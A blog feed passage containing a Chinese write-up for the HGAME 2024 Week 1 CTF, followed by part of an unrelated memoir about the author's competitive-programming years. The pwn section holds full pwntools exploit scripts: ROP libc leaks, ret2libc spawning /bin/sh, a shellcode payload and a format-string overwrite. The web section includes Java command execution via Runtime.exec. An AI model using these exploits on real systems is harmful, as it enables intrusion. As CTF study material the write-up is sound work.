</content:encoded><category>ctf</category><author>woshiluo</author></item><item><title>HGAME 2024 Week1 WriteUP</title><link>https://blog.woshiluo.com/posts/2024/02/hgame-week1-writeup/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/02/hgame-week1-writeup/</guid><pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Written by woshiluo.&lt;/p&gt;
&lt;p&gt;给官方怎么交的我交原模原样发过来了，如有错误烦请各位大佬斧正。&lt;/p&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h3&gt;SignIn&lt;/h3&gt;
&lt;p&gt;有请 GIMP 自由拉伸。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;来自星尘的问候&lt;/h3&gt;
&lt;p&gt;提示的挺明显，直接去游戏官网能够找到该字体。&lt;/p&gt;
&lt;p&gt;六位弱加密，stegseek 直接爆破。&lt;/p&gt;
&lt;p&gt;爆破完了后给了字体查看器。&lt;/p&gt;
&lt;p&gt;拖搞到的字体进去。&lt;/p&gt;
&lt;p&gt;肉眼观察可以得到答案。&lt;/p&gt;
&lt;h3&gt;simple_attack&lt;/h3&gt;
&lt;p&gt;明文爆破。&lt;/p&gt;
&lt;p&gt;试了半天才发现是 bandzip 压的。&lt;/p&gt;
&lt;h3&gt;希儿希儿希尔&lt;/h3&gt;
&lt;p&gt;直接 binwalk 得到密文。&lt;/p&gt;
&lt;p&gt;LSB 得到密钥。&lt;/p&gt;
&lt;p&gt;提示了 Hill 密码。解密即可。&lt;/p&gt;
&lt;h3&gt;签到&lt;/h3&gt;
&lt;p&gt;谢谢，已经取关了。&lt;/p&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;2048*16&lt;/h3&gt;
&lt;p&gt;抓个包，发现没给服务器发请求。&lt;/p&gt;
&lt;p&gt;直接魔改 js，让方块只会生成 32756。&lt;/p&gt;
&lt;p&gt;移动一下就能得到 flag 了。&lt;/p&gt;
&lt;h3&gt;Bypass it&lt;/h3&gt;
&lt;p&gt;开扫。&lt;/p&gt;
&lt;p&gt;逮捕到 &lt;code&gt;register.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://47.100.137.175:31227/register.php?username=1&amp;amp;password=1&quot; --data &quot;username=1&amp;amp;password=1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录，得到 flag。&lt;/p&gt;
&lt;h3&gt;jhat&lt;/h3&gt;
&lt;p&gt;显然有任意读，相关办法搞回显。&lt;/p&gt;
&lt;p&gt;直接抛出字符串。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;throw (new java.io.BufferedReader(
    new
         java.io.InputStreamReader(
             (java.lang.Runtime.getRuntime().exec(&apos;cat /flag&apos;)).getInputStream()
         )
)).readLine()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Select Courses&lt;/h3&gt;
&lt;p&gt;搞了半天也没看出来咋搞。&lt;/p&gt;
&lt;p&gt;乱点发现小概率能选上课。&lt;/p&gt;
&lt;p&gt;我是脚本小子！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while true; do for i in $(seq 1 5); do curl &apos;http://47.100.137.175:30995/api/courses&apos; -X POST -H &apos;Content-Type: application/json&apos; --data-raw &quot;{\&quot;id\&quot;:${i}}&quot;; done; done
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezHTTP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl --header &quot;Referer: vidar.club&quot; --header &quot;User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0&quot; --header &quot;X-Real-IP: 127.0.0.1&quot; 47.100.137.175:31517 -vv
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;ezASM&lt;/h3&gt;
&lt;p&gt;check_flag 一眼异或。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char x[] = { 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34, 0 };

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif
    int p = sizeof(x);
    for( int i = 0; i &amp;lt; p - 1; i ++ )
        x[i] ^= 0x22;
    printf( &quot;%s\b&quot;, x );

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezPYC&lt;/h3&gt;
&lt;p&gt;我是在附件更新前做的。&lt;/p&gt;
&lt;p&gt;解包，直接逆 pycdc 挂了。&lt;/p&gt;
&lt;p&gt;看看 as&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pycdas ./ezPYC.pyc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是异或&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char data[] = { 87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2, 0};
char key[6] = {};

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif
    int p = sizeof(data) - 1;
//    key[0] = data[0] ^ &apos;h&apos;;
//    key[1] = data[1] ^ &apos;g&apos;;
//    //key[2] = data[2] ^ &apos;a&apos;;
//    //key[3] = data[3] ^ &apos;m&apos;;
//    //key[4] = data[4] ^ &apos;e&apos;;
//    //key[5] = data[5] ^ &apos;{&apos;;
    for( int i = 0; i &amp;lt; p; i ++ )
        data[i] ^= ( i % 4 ) + 1;
    printf( &quot;%s\n&quot;, data );
    //
    //
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezUPX&lt;/h3&gt;
&lt;p&gt;upx 直接脱壳。&lt;/p&gt;
&lt;p&gt;有请 IDA。&lt;/p&gt;
&lt;p&gt;还是异或&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned char data[] =
{
      0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13,
        0x6B, 0x02, 0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06,
          0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54,
            0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F, 0x32, 0x00, 0x00, 0x00,
              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif

    for( int i = 0; i &amp;lt; 37; i ++ )
        data[i] ^= 0x32;
    printf( &quot;%s\n&quot;, data );

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezIDA&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;strings ./ezIDA.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Crypto&lt;/h2&gt;
&lt;h3&gt;奇怪的图片&lt;/h3&gt;
&lt;p&gt;考虑异或的自反性。&lt;/p&gt;
&lt;p&gt;随边选一张图异或其他图就能得到还能看，有一定顺序的图。&lt;/p&gt;
&lt;p&gt;人工复原即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import time

import os

from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets

flag = &quot;hgame{fake_flafdsafdsafdsafdsg}&quot;

def generate_random_image(width, height):
    image = Image.new(&quot;RGB&quot;, (width, height), &quot;white&quot;)
    pixels = image.load()
    for x in range(width):
        for y in range(height):
            red = random.randint(0, 255)
            green = random.randint(0, 255)
            blue = random.randint(0, 255)
            pixels[x, y] = (red, green, blue)
    return image

def draw_text(image, width, height, token):
    font_size = random.randint(16, 40)
    font = ImageFont.truetype(&quot;arial.ttf&quot;, font_size)
    text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
    x = random.randint(0, width - font_size * len(token))
    y = random.randint(0, height - font_size)
    draw = ImageDraw.Draw(image)
    draw.text((x, y), token, font=font, fill=text_color)
    return image

def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError(&quot;Images must have the same dimensions.&quot;)
    xor_image = Image.new(&quot;RGB&quot;, image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image

def generate_unique_strings(n, length):
    unique_strings = set()
    while len(unique_strings) &amp;lt; n:
        random_string = secrets.token_hex(length // 2)
        unique_strings.add(random_string)
    return list(unique_strings)

random_strings = generate_unique_strings(len(flag), 8)

# file = &quot;5c55dc77.png&quot;
# file = &quot;6f050db3.png&quot;
# file = &quot;8efe1319.png&quot;
file = &quot;1e818c03.png&quot;
key_image = Image.open(&quot;./png_out/{}&quot;.format(file))

#
j=0
for i in os.listdir(&quot;./png_out&quot;):
    print(i)
    current_image = Image.open(&quot;./png_out/{}&quot;.format(i))
    xor_images(current_image,key_image).save(&quot;./png_out2/{}-{}&quot;.format( file, i ))
    j+=1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezMath&lt;/h3&gt;
&lt;p&gt;连分数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def solve_pell(N, numTry = 100):
    cf = continued_fraction(math.sqrt(N))
    for i in range(numTry):
        denom = cf.denominator(i)
        numer = cf.numerator(i)
        if numer^2 - N * denom^2 == 1:
            return numer, denom
    return None, None

print(solve_pell(114514))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezRSA&lt;/h3&gt;
&lt;p&gt;费马小定理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

import gmpy2
from Crypto.Util.number import *

p=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
q=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
n=p*q
e=0x10001
phi=(p-1)*(q-1)
d=gmpy2.invert(e, phi)

enc=pow(c,d,n)
print(long_to_bytes(enc))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezPRNG&lt;/h3&gt;
&lt;p&gt;显然 32 位往后的数字都由前 32 位决定，没啥意义。&lt;/p&gt;
&lt;p&gt;倒着推即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;u32 str[4] =
 {
0b11111101101110111100001010110100u,
0b00100000000010101111000011000111u,
0b11101101100100010111001111101111u,
0b00011010101010101000010010011000u,
 };
u32 mask = 0b10001001000010000100010010001001;

char output[6];

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif
    for( int p = 0; p &amp;lt; 4; p ++ ) {
        unsigned int res = 0;
        for( int i = 0; i &amp;lt; 32; i ++ ) {
            u32 flag = str[p] &amp;amp; 1;
            str[p] &amp;gt;&amp;gt;= 1;
            u32 target = ( str[p] &amp;amp; mask );
            u32 count = __builtin_popcount(target) &amp;amp; 1;
            if( count != flag ) {
                str[p] |= 1u &amp;lt;&amp;lt; 31u;
                res |= 1u &amp;lt;&amp;lt; i;
            }
        }
        printf( &quot;%x-&quot;, res );
    }
    //  memcpy( output, &amp;amp;res, sizeof(int) );
    //  printf( &quot;%s\n&quot;, output );

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PWN&lt;/h2&gt;
&lt;h3&gt;EzSignIn&lt;/h3&gt;
&lt;p&gt;连接，下班。&lt;/p&gt;
&lt;h3&gt;Elden Ring Ⅰ&lt;/h3&gt;
&lt;p&gt;非常明显的栈溢出。&lt;/p&gt;
&lt;p&gt;但是空间有限。&lt;/p&gt;
&lt;p&gt;ban 了 execve。&lt;/p&gt;
&lt;p&gt;但是没有关系，我们可以先获取 libc。&lt;/p&gt;
&lt;p&gt;然后 fprintf 打印栈地址。&lt;/p&gt;
&lt;p&gt;有了栈地址就能乱写一气了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

from pwn import *
from ctypes import *

so = CDLL(&quot;./libc.so.6&quot;)
vuln = ELF(&apos;./vuln&apos;)
libc = ELF(&apos;./libc.so.6&apos;)
puts_plt = vuln.plt[&apos;puts&apos;]
main_symbol = vuln.symbols[&apos;main&apos;]
libc_start_main_got = vuln.got[&apos;__libc_start_main&apos;]
libc_base = 0
format_addr = libc_base + next(libc.search(b&quot;--%s: %s&quot;))

context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, terminal = [ &apos;alacritty&apos;, &apos;-e&apos; ], log_level = &apos;debug&apos;)

r  = remote(&quot;47.100.137.175&quot;, 32725)
# r = process(&quot;./vuln_patched&quot;)
# pwnlib.gdb.attach(proc.pidof(r)[0])

r.recvuntil(b&quot; I offer you an accord.\n\n&quot;)
myread = 0x40125B;
pop_rdi_ret = 0x00000000004013e3;
print(&quot;[*] Get libc base&quot;)
payload = b&quot;%p%p%p%p&quot; + b&apos;A&apos; * ( 256 - 8 ) + b&apos;B&apos; * 8 + p64(pop_rdi_ret) + p64(libc_start_main_got) + p64(puts_plt) + p64(myread)
#
r.send(payload)

libc_main_addr = u64(r.recv()[0:6].ljust(8,b&apos;\x00&apos;))
# r.recvuntil(b&quot;brilliant mind.&quot;)
print(p64(libc_main_addr))
libc_base = libc_main_addr - libc.symbols[&apos;__libc_start_main&apos;]
fprintf_addr = libc_base + libc.symbols[&apos;fprintf&apos;]
# stdout_addr = libc_base + libc.symbols[&apos;stdout&apos;]
stdout_addr = libc_base + libc.symbols[&apos;_IO_2_1_stdout_&apos;]
read_addr = libc_base + libc.symbols[&apos;read&apos;]
open_addr = libc_base + libc.symbols[&apos;open&apos;]
write_addr = libc_base + libc.symbols[&apos;write&apos;]
libc_syscall = 0x000000000002284d
libc_pop_rax_ret = 0x0000000000036174
# format_addr = libc_base + next(libc.search(b&quot;--%s: %s&quot;))
# format_addr = libc_base + next(libc.search(b&quot;%ld %ld&quot;))
binsh_addr = libc_base + next(libc.search(b&quot;/bin/sh&quot;))
ret_addr = 0x000000000040101a
libc_xor_rax = 0x00000000000b1d69 + libc_base
libc_pop_rsi_ret = 0x000000000002601f + libc_base
libc_pop_rsp = 0x000000000002f70a + libc_base
libc_pop_rdx = 0x0000000000142c92 + libc_base
init_addr = 0x4011F6

payload = b&quot;%17$paaa&quot; + b&apos;A&apos; * ( 256 - 8 ) + b&apos;B&apos; * 8 + p64(ret_addr) + p64(pop_rdi_ret) + p64(stdout_addr) + p64(fprintf_addr) + p64(myread)

pause()

print(&quot;[*] try leak stack addr&quot;)
r.recvuntil(b&quot; I offer you an accord.\n\n&quot;)
r.send(payload)

# 0x7ffdc558f768
# r.recvuntil(b&quot; I offer you an accord.\n\n&quot;)
leak_stack = int(r.recv()[:14], 0) + 0x100
print(hex(leak_stack))
payload = b&quot;%17$paaa&quot; + b&apos;A&apos; * ( 256 - 8 ) + b&apos;B&apos; * 8 + p64(ret_addr) + p64(libc_pop_rsi_ret) + p64(leak_stack) + p64(read_addr) + p64(myread)
print(&quot;[*] write stack&quot;)
r.send(payload)

r.send(p64(myread))

pause()

print(&quot;[*] jump stack&quot;)
payload = b&quot;%17$paaa&quot; + b&apos;A&apos; * ( 256 - 8 ) + b&apos;B&apos; * 8 + p64(ret_addr) + p64(libc_pop_rsp) + p64(leak_stack)

r.send(payload)

written_addr = leak_stack - 0x200
flag_addr = leak_stack - 0x100
leak_stack -= 0x100 - 0x08
payload = b&quot;/flag\x00\x00\x00&quot; + p64(pop_rdi_ret) + p64(flag_addr) + p64(libc_pop_rsi_ret) + p64(0) + p64(libc_pop_rdx) + p64(0) + p64(open_addr)
payload += p64(pop_rdi_ret) + p64(3) + p64(libc_pop_rsi_ret) + p64(written_addr) + p64(libc_pop_rdx) + p64(0x30) + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(1) + p64(libc_pop_rsi_ret) + p64(written_addr) + p64(libc_pop_rdx) + p64(0x30) + p64(write_addr)
payload +=  b&apos;A&apos; * ( 256 - 22 * 8 ) + b&apos;B&apos; * 8 + p64(ret_addr) + p64(libc_pop_rsp) + p64(leak_stack)

print(&quot;[*] try do everything&quot;)
r.send(payload)

# r.send(p64(0x40125B))

r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezshellcode&lt;/h3&gt;
&lt;p&gt;发现好像限了长度。&lt;/p&gt;
&lt;p&gt;但是没有关系，read 的参数是 &lt;code&gt;size_t&lt;/code&gt;，这货是 unsigned 的。&lt;/p&gt;
&lt;p&gt;直接输入 &lt;code&gt;-1&lt;/code&gt; 就可以当没有限制。&lt;/p&gt;
&lt;p&gt;去网上挡个可见 payload 下来即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

from pwn import *

r = remote(&quot;47.100.137.175&quot;,32552)
context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, log_level = &apos;debug&apos;)

payload=b&quot;-1&quot;
r.send(payload)

shellcode_64=&quot;`Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t&quot;
payload=shellcode_64

r.send(payload)

r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Elden Random Challenge&lt;/h3&gt;
&lt;p&gt;先调 libc 过了随机数。&lt;/p&gt;
&lt;p&gt;ret2libc 即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

from pwn import *
from ctypes import *

so = CDLL(&quot;./libc.so.6&quot;)
vuln = ELF(&apos;./vuln&apos;)
libc = ELF(&apos;./libc.so.6&apos;)
puts_plt = vuln.plt[&apos;puts&apos;]
main_symbol = vuln.symbols[&apos;main&apos;]
libc_start_main_got = vuln.got[&apos;__libc_start_main&apos;]
libc_base = 0
bin_sh_addr = libc_base + next(libc.search(b&quot;/bin/sh&quot;))

r = remote(&quot;47.100.137.175&quot;,31761)
context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, log_level = &apos;debug&apos;)

so.srand(so.time(0))

r.sendline(&quot;1&quot;)

for i in range(99):
    r.recvuntil(&quot;the number&quot;)
    x=so.rand() % 100 + 1;
    r.send(p32(x))

r.recvuntil(b&quot;brilliant mind.\n&quot;)
myread = 0x401398;
pop_rdi_ret = 0x0000000000401423;
payload = b&apos;A&apos; * 48 + b&apos;B&apos; * 8 + p64(pop_rdi_ret) + p64(libc_start_main_got) + p64(puts_plt) + p64(myread)
#
r.send(payload)

libc_main_addr = u64(r.recv()[0:6].ljust(8,b&apos;\x00&apos;))
r.recvuntil(b&quot;brilliant mind.&quot;)
print(p64(libc_main_addr))
libc_base = libc_main_addr - libc.symbols[&apos;__libc_start_main&apos;]
system_addr = libc_base + libc.symbols[&apos;system&apos;]
bin_sh_addr = libc_base + next(libc.search(b&quot;/bin/sh&quot;))
ret_addr = 0x000000000040101a

payload = b&apos;A&apos; * 48 + b&apos;B&apos; * 8 + p64(ret_addr) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)

r.send(payload)
# #
r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ezfmt string&lt;/h3&gt;
&lt;p&gt;只有一次的格式化字符串利用。&lt;/p&gt;
&lt;p&gt;只能 ret2csu 了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

from pwn import *
from ctypes import *

# so = CDLL(&quot;./libc.so.6&quot;)
# vuln = ELF(&apos;./vuln&apos;)
# libc = ELF(&apos;./libc.so.6&apos;)
# puts_plt = vuln.plt[&apos;puts&apos;]
# main_symbol = vuln.symbols[&apos;main&apos;]
# libc_start_main_got = vuln.got[&apos;__libc_start_main&apos;]

context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, terminal = [ &apos;alacritty&apos;, &apos;-e&apos; ], log_level = &apos;debug&apos;)
# r = process(&quot;./vuln_2&quot;)

# def get_vuln_offset(payload):
#     p = process(&quot;./vuln_2&quot;)
#     p.recvline()
#     p.sendline(payload)
#     info = p.recv()
#     return info

# vuln_offset = FmtStr(get_vuln_offset).offset
# print(vuln_offset)

# r.sendline( b&apos;A&apos; * 0x100 )
# for i in range(0x20):
r = remote(&quot;47.100.137.175&quot;, 30662)

# r = process(&quot;./vuln_2&quot;)
# pwnlib.gdb.attach(proc.pidof(r)[0])
r.recvline()
# r.recvuntil(b&quot;getshell&quot;)
pause()
payload=b&quot;%744c%50$hnaaaaa&quot;
payload+=fmtstr_payload(12, { 0x404100: 0x40123D }, numbwritten = 744 + 5 )
# payload+=b&quot;%680c%50$hn&quot;
r.send(payload)
# gdb.attach(r)
# r.send(b&quot;1&quot;)

r.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>ctf</category><author>woshiluo</author></item><item><title>村庄外有大世界 - OI 回忆录</title><link>https://blog.woshiluo.com/posts/2023/06/2280/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2023/06/2280/</guid><pubDate>Mon, 12 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;对我个人而言，我的 OI 生涯并不美满。&lt;/p&gt;
&lt;p&gt;但同样，他也是我不可割舍的，难以忘怀的青春。&lt;/p&gt;
&lt;p&gt;在百日誓师的时候，台上的教师代表说起你们的青春年华都在教学楼里时，我突然想起，我的青春年华都给了小机房。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 开始&lt;/h2&gt;
&lt;p&gt;六年级的时候，种种机缘巧合，开始维护一个博客（是的，就是你看到的这个）。&lt;/p&gt;
&lt;p&gt;家里人是做计算机相关的，并不反对。但是他们认为应该做些更有意义的事情，于是他们把我扔到了某个竞赛培训机构。&lt;/p&gt;
&lt;p&gt;当时的我已经在和 PHP 的搏斗中懂得了一点点编程，于是在入门班中也就悠然自得了。&lt;/p&gt;
&lt;p&gt;老师是很开明的，既然你有闲心，就欢迎你去任何班。于是我就来到了中等班。&lt;/p&gt;
&lt;p&gt;中等班的人数相当多，在那一个个拥挤的夏日中，我一点点跟上了中等班的强度。&lt;/p&gt;
&lt;p&gt;当时中等班的老师其实是一位刚高考完的学长，他告诉我们，新疆的差距和内地的差距是很大的。&lt;/p&gt;
&lt;p&gt;我便想，这样的差距是不可弥补的吗，我要试试看。于是，拿上那年普及一等奖就是我的第一个目标。&lt;/p&gt;
&lt;p&gt;然而，那年我 205pts，一等奖分数线 210pts。&lt;/p&gt;
&lt;h2&gt;2 发展&lt;/h2&gt;
&lt;p&gt;虽然我没考上一等奖，但是在普及也算得上优秀，老师选择让我来到一中机房。&lt;/p&gt;
&lt;p&gt;和我一起来的还有那一届的特长生，学长们轮流讲课，我则在每天的自习课翻过大绿谷，在 vjudge 上将学长们白天做的题目补完。&lt;/p&gt;
&lt;p&gt;那一段时光相当快乐，也相当快。转眼到了暑假，我和学长们的水平都有了很大的长进。我们到常州进行集训。&lt;/p&gt;
&lt;p&gt;在常州的日子，我们真切的感受到了什么叫「内地选手」。也算得上是开了眼界，知道了诸多未曾听说过的方法，也见到了新疆之外的学校是如何训练，如何生活的。&lt;/p&gt;
&lt;p&gt;回到新疆，伴随着 NOIP 的临近，人渐渐多了起来。每一场比赛都有几十个人，每一次打盘都一呼百应。然而我的成绩算不上理想，一度到教练劝我只打普及的地步。但我觉得还是可以一试的。&lt;/p&gt;
&lt;p&gt;出分，我的成绩出乎意料的高，在所有高一选手的前面。突如其来的喜悦冲淡了很多事情，比如我又一次拿了普及二等奖。&lt;/p&gt;
&lt;h2&gt;3 铺垫&lt;/h2&gt;
&lt;p&gt;进了省队，随后就是日复一日的训练和颓废。永远都是见也没有见过的题目，永远都是看也看不懂的题解。在这样日复一日中，发生了两个事情。&lt;/p&gt;
&lt;p&gt;第一个，自主招生恐怕命不久矣；第二个，初中生将不能参加 NOI。如果说第一个是雷声轰轰，那么第二个就是瓢泼大雨打到了我的头上。&lt;/p&gt;
&lt;p&gt;自此，我开始理解什么是「政策的不确定性」。所幸，CCF 「创造」出了 E 类选手，我将仍能够参加 NOI。&lt;/p&gt;
&lt;p&gt;我一开始并没有选择出疆，而是在疆内训练。看不到边的晚霞，绿色点缀的校园，我被这所高中所感染，所激励。&lt;/p&gt;
&lt;p&gt;后面到了雅礼，认识到了 QAQAutoMaton。离开的时候，已经适应了长沙闷热的气候，而我也没有想到，我以后将不止一次来到这里。&lt;/p&gt;
&lt;p&gt;这一年的 NOI 进行的很顺利，而我的考试却很惨淡。而我当时也太年轻，甚至没有仔细去想自己为什么会考得那么差。&lt;/p&gt;
&lt;p&gt;NOI 过后，我们前往中山。中山纪念中学是一个美丽的地方。尽管有一些不愉快发生，但我的水平和眼界得到了极大地拓宽。&lt;/p&gt;
&lt;p&gt;第二次提高组一等奖，我以初三的身份拿到了全省第一，然后参加了 PKUWC。在北京听说了武汉似乎有疫情发生，并未在心。&lt;/p&gt;
&lt;p&gt;PKUWC 拿了三等奖，但我认为自己不会局限于此。&lt;/p&gt;
&lt;h2&gt;3 落体&lt;/h2&gt;
&lt;p&gt;伴随着央视通报造谣者，新冠疫情防控也缓缓拉开帷幕。&lt;/p&gt;
&lt;p&gt;而防控大幕的拉开，使得出疆训练的想法化为泡影。封在家里，时间也就如水流去了。&lt;/p&gt;
&lt;p&gt;中考结束，转战 ISIJ，封控时间的水平的下降显而易见，考场经验也分外缺乏。成绩也就不甚理想。&lt;/p&gt;
&lt;p&gt;NOI 时值新疆封控，尽管已有 30 余天无新病例，大家一同努力，希望在新疆办分赛区，但仍被一句否定。&lt;/p&gt;
&lt;p&gt;这件事情就像一个心结，在那之后，几乎每一件事情都会让我觉得惶恐不安。直到高二后期才慢慢有所缓解。&lt;/p&gt;
&lt;p&gt;于是在惶恐不安之中，迎来了又一年 NOIP，我依然拿了全省第一。&lt;/p&gt;
&lt;p&gt;然而这一年，和我一起的人都已经退役了。孤身一人训练是很困难的，连一个训练方法的好与坏都无法鉴定。&lt;/p&gt;
&lt;p&gt;伴随着学校机房政策的波动，我也只得选择出疆。&lt;/p&gt;
&lt;p&gt;我又一次来到了雅礼。雅礼的机房有着一个又一个我望其项背的选手，我也只能追赶。&lt;/p&gt;
&lt;p&gt;这一年的 NOI，我的暴力分空空如也，遗憾铜牌。&lt;/p&gt;
&lt;p&gt;随后被家父拽回新疆，拉去锻炼身体。忙忙碌碌中考完了 CSP 和 NOIP，成绩相当不理想。&lt;/p&gt;
&lt;p&gt;中间听闻了川大网安少年生的计划，报名去考了，总算拿到了一个好名次。&lt;/p&gt;
&lt;h2&gt;4 回光&lt;/h2&gt;
&lt;p&gt;新疆省选的事情终于被确定下来，尽管翻盘希望不大，但还是要尽力而为。&lt;/p&gt;
&lt;p&gt;所幸考场上发挥不错，拿了第一，翻回 XJ-02。&lt;/p&gt;
&lt;p&gt;这次我校只有我一名省队，出疆也就是板上钉钉的事情。第三次来到雅礼算得上轻车熟路，尽管黄码了一次，但依旧迅速融入训练环境。&lt;/p&gt;
&lt;p&gt;很惊讶的发现降维打击的感觉正在减少，自己的水平也有了长足长进。&lt;/p&gt;
&lt;p&gt;CCF 通知因疫情防控，需提前一周到达昆山。我就和新疆省队成员汇合，在一同写了几天代码后上了考场。&lt;/p&gt;
